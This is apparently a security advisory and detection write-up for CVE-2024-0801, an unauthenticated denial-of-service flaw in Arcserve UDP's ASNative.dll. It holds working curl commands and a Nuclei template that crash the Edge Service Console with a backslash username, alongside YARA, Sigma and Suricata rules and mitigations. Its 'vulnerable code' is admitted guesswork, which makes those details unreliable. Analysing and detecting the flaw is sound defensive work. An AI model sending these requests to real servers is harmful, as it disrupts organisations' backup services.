CVE-2024-0801

Executive Summary

CVE-2024-0801 is a high-severity denial of service (DoS) vulnerability in Arcserve Unified Data Protection (UDP) versions 8.1 and 9.2. The flaw resides in the ASNative.dll component and can be triggered by an unauthenticated attacker sending a specially crafted SOAP request to the Edge Service Console. Successful exploitation results in service unavailability, causing system crashes or proxy errors. The vulnerability has a CVSS score of 7.5 and a public proof-of-concept (PoC) via a Nuclei template. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability affects a proprietary enterprise backup solution (Arcserve UDP). It is not an open-source package (NPM, PyPI, Go, Ruby). Therefore, supply chain package security analysis is not applicable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – complete denial of service.

Threat Level: High. The vulnerability is remotely exploitable without authentication, and a public PoC exists. The EPSS score of 0.49215 (97.8th percentile) indicates active scanning or exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a failure to sanitize user input in the ASNative.dll library, specifically within the validateUserByUser SOAP endpoint. The endpoint expects three arguments: username, password, and domain. By sending a backslash (\) as the username, the application enters an error state that cannot recover, leading to a crash or service unavailability.

The root cause is a failure to handle special characters (CWE-75: Failure to Sanitize Special Elements into a Different Plane). The backslash character is likely interpreted as an escape or path separator, causing a buffer overflow, null pointer dereference, or infinite loop in the native DLL.

Attack Flow:

1. Attacker sends a legitimate SOAP request to validate a random user (to confirm the service is running).
2. Attacker sends a second SOAP request with a backslash (\) as the username.
3. The ASNative.dll processes the malformed input, triggering a fatal error.
4. The service becomes unavailable, returning HTTP 503 (Service Unavailable) or 502 (Proxy Error).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code in ASNative.dll likely resembles:

bool ValidateUser(const char* username, const char* password, const char* domain) {
    // No input validation
    char buffer[256];
    sprintf(buffer, "SELECT * FROM users WHERE username='%s'", username); // Example
    // Or direct use in a native function
    return NativeAuthCheck(username, password, domain);
}

Patched Code (Hypothetical): A patch would sanitize the input:

bool ValidateUser(const char* username, const char* password, const char* domain) {
    // Input validation
    if (strchr(username, '\\') != NULL || strchr(username, '/') != NULL) {
        return false; // Reject special characters
    }
    // Or use parameterized queries / safe APIs
    char buffer[256];
    snprintf(buffer, sizeof(buffer), "SELECT * FROM users WHERE username='%s'", username);
    return NativeAuthCheck(username, password, domain);
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running Arcserve UDP 8.1 or 9.2 with Edge Service Console exposed.
• Network access to the /management/services/EdgeServiceConsoleImpl endpoint.

Exploit Steps:

1. Use the provided Nuclei template or craft a manual request.
2. Send the first request to verify the service is responsive.
3. Send the second request with a backslash username to trigger the DoS.

Manual Exploit (using curl):

# Step 1: Verify service
curl -X POST "http://target:port/management/services/EdgeServiceConsoleImpl" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns2:validateUserByUser xmlns:ns2="http://webservice.edge.arcserve.ca.com/"><arg0>testuser</arg0><arg1>testpass</arg1><arg2>domain</arg2></ns2:validateUserByUser></S:Body></S:Envelope>'

# Step 2: Trigger DoS
curl -X POST "http://target:port/management/services/EdgeServiceConsoleImpl" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns2:validateUserByUser xmlns:ns2="http://webservice.edge.arcserve.ca.com/"><arg0>\</arg0><arg1>testpass</arg1><arg2>domain</arg2></ns2:validateUserByUser></S:Body></S:Envelope>'

Expected Outcome: The service returns HTTP 503 or 502 and becomes unavailable for legitimate users.

Blue Team (Defender)

Detection:

• Monitor for HTTP 500, 502, or 503 responses from the Edge Service Console.
• Look for SOAP requests with a backslash (\) in the <arg0> field.
• Use the provided YARA/Sigma rules to detect exploitation attempts.

Mitigation:

• If possible, restrict network access to the Edge Service Console to trusted IPs only.
• Implement a Web Application Firewall (WAF) rule to block requests containing \ in the username field.
• Monitor for service crashes and restart the service automatically.

Indicators of Compromise (IOCs)

• Network IOCs:
  • SOAP requests to /management/services/EdgeServiceConsoleImpl with <arg0>\</arg0>.
  • HTTP response codes 502 or 503 from the Edge Service Console.
• System IOCs:
  • Event logs showing crash of ASNative.dll or the Edge Service Console process.
  • Service unavailability logs (e.g., "Service Unavailable" or "Proxy Error").
• File IOCs:
  • ASNative.dll (vulnerable version) – hash unknown.

Detection Engineering

YARA Rule

rule CVE_2024_0801_Arcserve_UDP_DoS {
    meta:
        description = "Detects exploitation attempts of CVE-2024-0801 in Arcserve UDP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0801"
        severity = "high"
    strings:
        $soap_request = "<arg0>\\</arg0>" ascii wide nocase
        $soap_endpoint = "/management/services/EdgeServiceConsoleImpl" ascii wide nocase
        $error_503 = "Service Unavailable" ascii wide nocase
        $error_502 = "Proxy Error" ascii wide nocase
    condition:
        any of ($soap_request*) and any of ($soap_endpoint*) and any of ($error_503, $error_502)
}

Sigma Rule

title: CVE-2024-0801 Arcserve UDP DoS Exploitation Attempt
id: 7e7bba96-893e-ae05-586d-94defe18037a
status: experimental
description: Detects SOAP requests with a backslash username targeting Arcserve UDP Edge Service Console
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0801
    - https://www.tenable.com/security/research/tra-2024-07
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/management/services/EdgeServiceConsoleImpl'
        cs-content-type: 'text/xml'
        cs-body|contains: '<arg0>\</arg0>'
    condition: selection
falsepositives:
    - Legitimate use of backslash in username (unlikely)
level: high
tags:
    - attack.t1499
    - cve.2024.0801

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-0801 Arcserve UDP DoS Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/management/services/EdgeServiceConsoleImpl"; http_uri;
    content:"text/xml"; http_content_type;
    content:"<arg0>\\</arg0>"; http_client_body;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
    reference:cve,2024-0801;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-0801;
)

Nuclei Template (Provided)

id: CVE-2024-0801

info:
  name: Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll
  author: daffainfo
  severity: high
  description: |
    A denial of service vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in ASNative.dll.
  impact: |
    Attackers can cause system crashes or unavailability, leading to service disruption and potential downtime.
  remediation: |
    Update to the latest version of Arcserve Unified Data Protection or apply available patches.
  reference:
    - https://www.tenable.com/security/research/tra-2024-07
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0801
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-0801
    epss-score: 0.49215
    epss-percentile: 0.97796
    cwe-id: CWE-75
    cpe: cpe:2.3:a:arcserve:udp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: arcserve
    product: udp
    shodan-query: http.favicon.hash:1015186617
    fofa-query: icon_hash="1015186617"
  tags: cve,cve2024,arcserve,dos,intrusive,vkev

flow: http(1) && http(2)

variables:
  user: "{{to_lower(rand_base(6))}}"
  pass: "{{to_lower(rand_base(6))}}"

http:
  - raw:
      - |
        POST /management/services/EdgeServiceConsoleImpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns2:validateUserByUser xmlns:ns2="http://webservice.edge.arcserve.ca.com/"><arg0>{{user}}</arg0><arg1>{{pass}}</arg1><arg2>domain</arg2></ns2:validateUserByUser></S:Body></S:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(content_type, "text/xml")'
          - 'contains(body, "Invalid user credentials")'
        condition: and
        internal: true

  - raw:
      - |
        POST /management/services/EdgeServiceConsoleImpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns2:validateUserByUser xmlns:ns2="http://webservice.edge.arcserve.ca.com/"><arg0>\</arg0><arg1>{{pass}}</arg1><arg2>domain</arg2></ns2:validateUserByUser></S:Body></S:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 503 && contains(body, "<h1>Service Unavailable</h1>")'
          - 'status_code == 502 && contains(body, "<h1>Proxy Error</h1>")'
        condition: or
# digest: 480a00453043021f7e7bba96e893ae05586d94defe18037aeef15c40554136a397f1171080fda90220500b02d2c5e45fd05ec485e87582824ea11ced381e89e441e19129ce8d5576f7:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Limit access to the Edge Service Console (/management/services/EdgeServiceConsoleImpl) to trusted IP addresses only using firewall rules.
2. WAF Rules: Deploy a Web Application Firewall rule to block SOAP requests containing <arg0>\</arg0>.
3. Service Monitoring: Implement monitoring to detect service crashes and automatically restart the Edge Service Console.

Long-Term Fix:

• Vendor Patch: Apply the official patch from Arcserve when available. Monitor Arcserve's security advisories.
• Upgrade: Upgrade to a patched version of Arcserve Unified Data Protection (if released).
• Input Validation: Ensure all user inputs are sanitized and validated before processing in native DLLs.

Workaround:

• Disable the Edge Service Console if not required, or use a reverse proxy to filter malicious requests.

Valters IT

{/* [Security Hash: 8DC0A7C20F422C315C6699F4] */}